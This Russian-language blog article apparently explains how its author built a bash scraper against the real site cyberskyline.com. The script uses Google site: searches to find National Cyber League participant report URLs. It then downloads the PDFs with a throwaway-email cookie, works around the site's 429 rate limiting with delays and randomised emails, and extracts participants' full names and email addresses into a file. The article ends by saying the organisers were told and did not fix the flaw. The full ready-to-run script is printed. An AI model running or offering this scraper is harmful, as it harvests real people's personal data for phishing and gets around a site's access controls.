
В этой статье я расскажу, как создать хакерское приложение, используя встроенный язык программирования Linux, и собрать базу данных участников западной "Национальной Киберлиги". Можно сказать, хакнем хакеров! ;)
Начнем со ссылки на отчет о соревнованиях Western National Cyber League, а закончим полноценным инструментом автоматизации. По пути рассмотрим основы работы с cURL, научимся обходить базовые ограничения веб-приложений и поработаем с PDF-документами из командной строки.
Статья будет полезна специалистам по информационной безопасности и всем, кто интересуется автоматизацией процессов в Linux.
Недавно мне написала американская коллега из города Эдмонд, штат Оклахома.
После стандартного обмена любезностями типа "Как дела?", "Как погода в Москве?" она поделилась отчетом о своем участии в осенних хакерских соревнованиях за 2023 год. Это была ссылка на портал cyberskyline.com:
При переходе по ссылке вместо того, чтобы показать отчет, сайт запросил адрес моей электронной почты. Конечно, только… создам ее)

Идем на мой любимый ресурс генерации одноразовой почты и получаем свеженький почтовый ящик. После ввода электронной почты сразу открывается отчет о результатах индивидуальных соревнований "Национальной Киберлиги" за осень 2023 года:

Интересно, что система не просила меня перейти по ссылке и подтвердить валидность адреса. Кроме того, сайт Киберлиги не проверил, что почта относится к существующему домену. Не были проведены даже минимальные проверки почты.
Из этого следует два вывода: можно вводить абракадабру для доступа к отчетам; сайт Киберлиги просто собирает адреса, чтобы потом проводить рекламные рассылки.
Окей, временный ящик защитит нас от спама. Давайте теперь изучим отчет. Помимо результатов тестирования и текста о том, какая Киберлига крутая, мы видим важную для любого хакера информацию — полное имя и фамилию, а также адрес электронной почты.
Хм, очень интересно, а сколько всего таких отчетов существует? В тексте указано число соревнующихся — 7879. Это почти 8 тысяч документов с полным именем и адресом электронной почты участников международных хакерских турниров. Попробуем получить к ним доступ.

Проанализируем адрес документа:
В нем есть слово "report" (отчет), а затем идет буквенно-цифровой идентификатор 9LT51V9K786C. Скорее всего (на самом деле так и есть), для доступа к другим отчетам потребуется подобрать аналогичную комбинацию цифр и букв. Это классический IDOR — уязвимость, о которой коллеги уже рассказывали на Хабре.
Рассмотрим возможное количество комбинаций в идентификаторе. В английском алфавите 26 букв, но в системах на базе Linux строчные и прописные буквы считаются разными символами. Это дает нам 52 возможных буквенных символа.
Но нам повезло: в ссылке на наш отчет только прописные буквы. Будем надеяться, что так оно и останется. По-хорошему, чтобы убедиться, нужны дополнительный анализ и энумерация. С цифрами все проще — их всего 10.
Итого мы получаем 26 прописных букв и 10 цифр, что дает нам 36 вариантов для каждой позиции. В идентификаторе 12 символов, поэтому общее количество возможных комбинаций составляет 36^12, или 4 738 381 338 321 616 896. Как бы… немало. А у нас всего около 8 тысяч записей, что составляет примерно 0,00000000000001% от всех возможных комбинаций. Такое число мы в жизни не забрутфорсим.
Мы пойдем другим путем.
Существует более простой способ получения номеров отчетов — через поисковую индексацию Google. Что, если поисковик уже проиндексировал эти отчеты?
Давайте поищем. Используем специальный оператор поиска "site:", который ограничивает результаты конкретным доменом. В поисковую строку вводим запрос "site:cyberskyline.com/report", чтобы Google показывал только страницы, расположенные по этому адресу.

В результатах поиска сразу обнаруживаются номера отчетов — они появляются уже во второй и третьей строке выдачи, если не считать рекламный блок. Теперь проверим общее количество проиндексированных отчетов в поисковой системе.

На каждой странице отображается по 10 ссылок, что дает нам возможность получить данные 270 пользователей. Ручной сбор этой информации неэффективен и займет много времени.
Главная сила командной строки Linux, которой раньше не хватало Windows CMD, заключается в возможности объединять небольшие приложения в единую цепочку команд — конвейеры. Более того, конвейеры можно объединять между собой, создавая полноценные приложения, такие как LinEnum и AutoSUID. Так что напишем приложение, которое соберет данные за нас.
Шаг 1. Алгоритм и анализ
Даже для небольшого скрипта важно четко представлять последовательность действий.
На первом этапе необходимо реализовать парсинг Google: программа должна открыть поисковую страницу, выполнить запрос, получить результаты, скачать найденные Гуглом файлы и автоматически перейти к следующей странице выдачи для повторения процесса.
После загрузки PDF-файлов программа должна извлечь из каждого документа персональные данные пользователей. В рамках этого примера будем собирать имена и адреса электронной почты. Затем сохраним полученную информацию в отдельный файл.
Здесь я должен предупредить, что подобный парсинг данных российских пользователей может нарушать законодательство о персональных данных. Описанные техники представлены исключительно в образовательных целях. Используйте их правомерно.
Ну что, поехали пункт за пунктом. Для анализа механизма взаимодействия с поисковиком используем BurpSuite — перехватим и изучим трафик поисковых запросов.

Отлично, мы нашли верный запрос, но в нем слишком много шума. Почистим его и "причешем". Для этого направим запрос в Repeater и последовательно удалим лишние параметры. Проверим корректность его работы с помощью поискового выражения "url=https://cyberskyline.com/report/", в котором содержится номер отчета.

Упростили запрос до минимума, оставив только необходимые параметры: GET-запрос, Host и User-Agent. Теперь нужно разобраться с переходом на следующие страницы поисковой выдачи. Для этого откроем вторую страницу поисковика через браузер и проанализируем изменения в перехваченном трафике через BurpSuite.

В перехваченном запросе появился дополнительный параметр — start=10. Он определяет начальную позицию вывода результатов: значения 0–9 соответствуют первой странице, 10–19 — второй странице и так далее.

Проверим это предположение, отправив запрос с новым параметром через Repeater: выводные значения меняются, значит, мы все делаем правильно. Теперь сделаем все то же самое, только через командную строку.
Шаг 2. Парсим Google
curl -s -A "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0)
Gecko/20100101 Firefox/128.0"
"https://www.google.com/search?q=site:cyberskyline.com/report/&start=20"

Запрос работает корректно. Теперь перейдем к следующему этапу: отфильтруем ответ сервера, чтобы получить только строки с адресами отчетов. Для этого воспользуемся утилитой grep.
curl -s -A "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0)
Gecko/20100101 Firefox/128.0"
"https://www.google.com/search?q=site:cyberskyline.com/report/&start=20"
| grep -i "url=https://cyberskyline.com/report/" -o

Почти сработало, но мы так и не получили последние 12 символов после "report". Здесь не обойтись без регулярного выражения. Давай напишем наш grep следующим образом:
grep -i "https://cyberskyline\.com/report/[A-Z0-9]\{12\}"
Как можно понять из "регулярки", мы выбираем символы от A до Z в количестве 12 штук. Также уберем "url=" чтобы получить более верный вывод.
curl -s -A "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0)
Gecko/20100101 Firefox/128.0"
"https://www.google.com/search?q=site:cyberskyline.com/report/&start=20"
| grep -i "https://cyberskyline\.com/report/[A-Z0-9]\{12\}" -o

Теперь возникает дублирование результатов в выводе, но эту проблему легко решить добавлением команды uniq
в конец нашего конвейера.
curl -s -A "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0)
Gecko/20100101 Firefox/128.0"
"https://www.google.com/search?q=site:cyberskyline.com/report/&start=20"
| grep -i "https://cyberskyline\.com/report/[A-Z0-9]\{12\}" -o | uniq

В результате мы получили список уникальных ссылок на отчеты. В выводе видим 18 ссылок с учетом дубликатов, но их можно убрать с помощью сортировки и удаления повторов командами sort -u
и uniq
. А пока проверим работоспособность последней ссылки.

И все прекрасно работает. В финальной версии приложения будем последовательно изменять значение параметра start (0, 10, 20, 30 и так далее) для перебора всех доступных страниц поисковой выдачи Google.
Этап 3. Качаем отчеты
Переходим к этапу загрузки отчетов. После реализации парсинга эта задача не должна вызвать затруднений. Для скачивания файлов у нас есть два варианта: curl
или wget
. Для разнообразия будем использовать wget
.
wget https://cyberskyline.com/report/B2L7UK1KQJ2B

Отлично, наш отчет успешно скачан, и мы можем его посмотреть... или нет?

При открытии ссылки в браузере отчет отображается корректно, но при скачивании через командную строку получаем пустой документ.
Помните, что при первом обращении к отчету сайт запрашивал электронную почту? Еще раз проанализируем запрос на получение отчета через BurpSuite.

Вот и почта, которую мы вводили в самом начале статьи. В cookies она представлена как параметр sky.verifyEmail со значением "loxomeb677@rogtat.com". Добавим этот параметр в wget-запрос. Иногда здесь нужно указывать User-Agent. Так многие приложения защищаются от автоматизированных запросов, но в данном случае можно обойтись без него.
wget --header "Cookie: sky.verifyEmail=loxomeb677@rogtat.com"
https://cyberskyline.com/report/B2L7UK1KQJ2B

Отлично, теперь в ответе мы можем видеть, что был скачан именно PDF-документ. Переходим на рабочий стол, где видим файл B2L7UK1KQJ2B.1. Файл корректно открывается и содержит нужную информацию.
Шаг 4. Парсим PDF
Теперь предстоит извлечь информацию из PDF-файла. Казалось бы, это не скан, и работать с текстом должно быть просто, но это только на первый взгляд. Поскольку документ создан программно, попробуем проанализировать исходный код PDF.

Поиск электронной почты в исходном коде PDF не дал результатов. Поищем альтернативное решение: обратимся к Google. Среди первых результатов находим релевантный ответ на SuperUser.com.

Изучив ответы, обнаруживаем подходящий инструмент — терминальную программу pdftotext. Приступаем к тестированию этого решения.

Указанное приложение у меня не установлено. Но умный Линукс подсказывает, как его скачать:
sudo apt install poppler-utils
Почитав мануал к приложению, определяем правильный синтаксис команды для извлечения текста:
pdftotext [options] <PDF-file> [<text-file>]
Попробуем сконвертировать PDF в текст и потом прочитать первые 10 строчек файла:
pdftotext B2L7UK1KQJ2B.1 pdfintotext.txt; head pdfintotext.txt

Работает! Имя киберспортсмена находится на третьей строке в выводе, а его электронная почта — на седьмой.
Для извлечения этих данных используем утилиту awk с командой 'NR==3 || NR==7'
, которая выведет только содержимое третьей и седьмой строк. Команда 'NR==3 {printf "%s | ", $0} NR==7 {print $0}'
выведет 3 и 7 строку в одну строку, разделенную вертикальной чертой (|). Ну и наконец, добавление двойных правых скобок перенаправит вывод в текстовый файл, который мы потом прочитаем.

Осталась самая малость — объединить все наши отдельные скрипты в один большой файл.
Шаг 5. Объединяем части в одно приложение
Подходим к завершающему этапу — объединению всех компонентов в рабочее решение. Согласно разработанному алгоритму, сначала загружаем PDF-файлы, затем обрабатываем их. Для демонстрации концепции ограничимся анализом первых трех страниц поисковой выдачи. Создаем на рабочем столе папку PDFParser для хранения файлов и запускаем mousepad для написания скрипта.
Создадим цикл от 0 до 20 с шагом в 10. Таким образом получим три значения: 0, 10 и 20, которые подставим в парсер поисковика. Цикл будет выглядеть следующим образом:
for start in `seq 0 10 20`; do ...; done
Где 0 — начало отсчета включительно; 10 — шаг каждого цикла; 20 — конец отсчета включительно.
Подставим формулу парсинга в цикл и запустим код. Не забудьте заменить цифру в адресной строке на переменную $start
. Код будет выглядеть таким образом:
#!/bin/bash
for start in `seq 0 10 20`;
do curl -s -A "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0)
Gecko/20100101 Firefox/128.0"
"https://www.google.com/search?q=site:cyberskyline.com/report/&start=$start" | grep -i "https://cyberskyline\.com/report/[A-Z0-9]\{12\}" -o |
sort -u | uniq
done
Запускаем файл стандартной командой bash pdfparser.sh
:

Отлично, все работает как задумано. Теперь нужно сохранить полученные ссылки для дальнейшей работы. Есть два варианта: временно хранить их в переменной (в оперативной памяти) или сохранить в файл на диск. Для учебных целей выберем второй вариант. Добавим в конце команды >> links.txt,
чтобы перенаправить вывод в файл.

Мы записали ссылки в файл, убедились в его создании командой ls
и проверили содержимое через cat links.txt. Теперь можем работать с полученными ссылками. Чтобы избежать блокировки со стороны Google (компания зарабатывает на API и ограничивает бесплатный парсинг), закомментируем строку с парсингом и продолжим работу с уже имеющимся файлом ссылок.
Теперь создадим цикл для чтения файла, где каждая строка станет переменной для скачивания файла.
for link in $(cat links.txt)
do
wget --header "Cookie: sky.verifyEmail=loxomeb677@rogtat.com" $link
done
Вставляем, запускаем, проверяем.

Хорошая новость — мы скачали часть файлов. Плохая — только 12 из 27. Почему так произошло? В ответе сервера видим: HTTP request sent, awaiting response... 429 Too Many Requests.
На сайте работает защитный механизм — Web application firewall, который блокирует множественные и частые соединения. Вероятно, система отслеживает подключения по IP-адресу или email из cookies.
Попробуем изменить email — это самый быстрый способ обойти блокировку. Если не поможет, придется добавлять временную задержку между запросами, но это существенно замедлит выполнение скрипта. Для начала добавим в конец адреса случайно сгенерированное число.

for link in $(cat links.txt)
do
wget --header "Cookie: sky.verifyEmail=loxomeb677$(rand)@rogtat.com"
$link
done
Изменение email не помогло — удалось скачать только 5 файлов из 27, так что добавим задержку между запросами в 3 секунды с помощью команды sleep.
Также используем параметр wget -t (--tries)
, чтобы ограничить количество попыток скачивания до трех. Если установить его на 0, wget
будет пытаться скачивать файл бесконечно. В нашем случае это избыточно.
Обновим код, добавив эти параметры. Для лучшего результата рекомендуется включить VPN или прокси — это позволит сменить IP-адрес и обойти ограничения со стороны сервера.
for link in $(cat links.txt)
do
wget --header "Cookie: sky.verifyEmail=loxomeb677$(rand)@rogtat.com"
$link
sleep 3
done

Отлично, мы скачали большую часть файлов — 22 из 27. Этого достаточно для текущих целей. Чтобы добиться большего, нужно увеличить интервал между запросами и количество попыток скачивания.
Теперь осталось извлечь информацию из скачанных PDF-файлов. Для этого используем цикл с командой ls
— встроенным средством Linux для листинга файлов. Внутрь цикла поместим ранее подготовленный скрипт извлечения текста из PDF:
for pdffile in $(ls -1);
do
pdftotext $pdffile pdfintotext.txt && awk 'NR==3 {printf "%s | ", $0} NR==7 {print $0}'
pdfintotext.txt >> database.txt
done

Запустим получившийся скрипт.

Скрипт показал синтаксическую ошибку: May not be a PDF file (continuing anyway) — возможно, файл не является PDF-форматом (обработка продолжается). Действительно, помимо PDF-файлов в папке находятся файл links.txt со ссылками и сам скрипт pdfparser.sh.
Проверим, был ли создан файл database.txt и если да, прочитаем его содержимое.

Отлично, мы создали файл и заполнили его анкетными данными киберспортсменов и его email-адресами. Однако в шестой строке содержится какой-то другой текст, не похожий на персональные данные.

Верно, этот файл оказался отчетом о киберсоревнованиях 2019 года, а не целевым документом 2023 года, и имеет другой формат. Скрипт отработал корректно. Осталось добавить комментарии для пояснений и отформатировать код для удобства чтения, после чего можно запускать готовую программу.

Сам скрипт в текстовом виде:
#!/bin/bash
echo ":::: ::: :::::::: ::: ::: :::::::::: ::: ::: ::: ::: :::::::: ::::::::::
:+:+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+:
:+:+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+
+#+ +:+ +#+ +#+ +#+ +#+ +#++:++# +#++:++#++: +#++:++ +#++:++#++: :#: +#++:++#
+#+ +#+#+# +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+# +#+
#+# #+#+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+#
### #### ######## ########## ########## ########## ### ### ### ### ### ### ######## ########## "
echo -e "\nStart Google parsing..."
for start in `seq 0 10 20`;
do
curl -s -A "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
"https://www.google.com/search?q=site:cyberskyline.com/report/&start=$start" |
grep -i "https://cyberskyline\.com/report/[A-Z0-9]\{12\}" -o |
sort -u | uniq >> links.txt
done
numberoflines=`wc -l links.txt | cut -d " " -f 1`
echo "Google parsing is done! We got $numberoflines links"
echo -e "\nStart downloading reports..."
for link in $(cat links.txt)
do
wget --header "Cookie: sky.verifyEmail=loxomeb677$(rand)@rogtat.com" -t 3 $link
sleep 3
done
echo "Downloading is done!"
echo -e "\nStart extracting personal data from PDFs..."
for pdffile in $(ls -1);
do
pdftotext $pdffile pdfintotext.txt && awk 'NR==3 {printf "%s | ", $0} NR==7 {print $0}' pdfintotext.txt >> database.txt
done
echo "Extracting is done! Enjoy"
Скрипт успешно извлек данные участников Киберлиги. Можно ли считать это утечкой? Безусловно — такая информация открывает широкие возможности для целевого фишинга. Злоумышленники могут создавать убедительные письма, используя полные имена пользователей, их рейтинг на платформе, достижения и другие детали из отчета. Отсутствие валидации email-адресов, недостаточная защита от автоматизированного сбора данных создали серьезные риски для пользователей платформы.
Что ж, коллегу я удивил, а вот организаторы Киберлиги, кажется, не впечатлились. Я связался с администрацией платформы. Они подтвердили получение информации и обещали провести проверку, но даже спустя месяц проблема остается нерешенной.
Однако я надеюсь, что этот небольшой эксперимент помог вам глубже понять принципы работы с командной строкой Linux и продемонстрировал, как можно находить неочевидные возможности в исследованиях информационной безопасности.
Хотите узнавать о свежих уязвимостях раньше, чем о них напишут в новостях? Подписывайтесь на Telegram-канал HydrAttack, чтобы первыми получать актуальную ИБ-статистику и инсайды из мира кибербеза!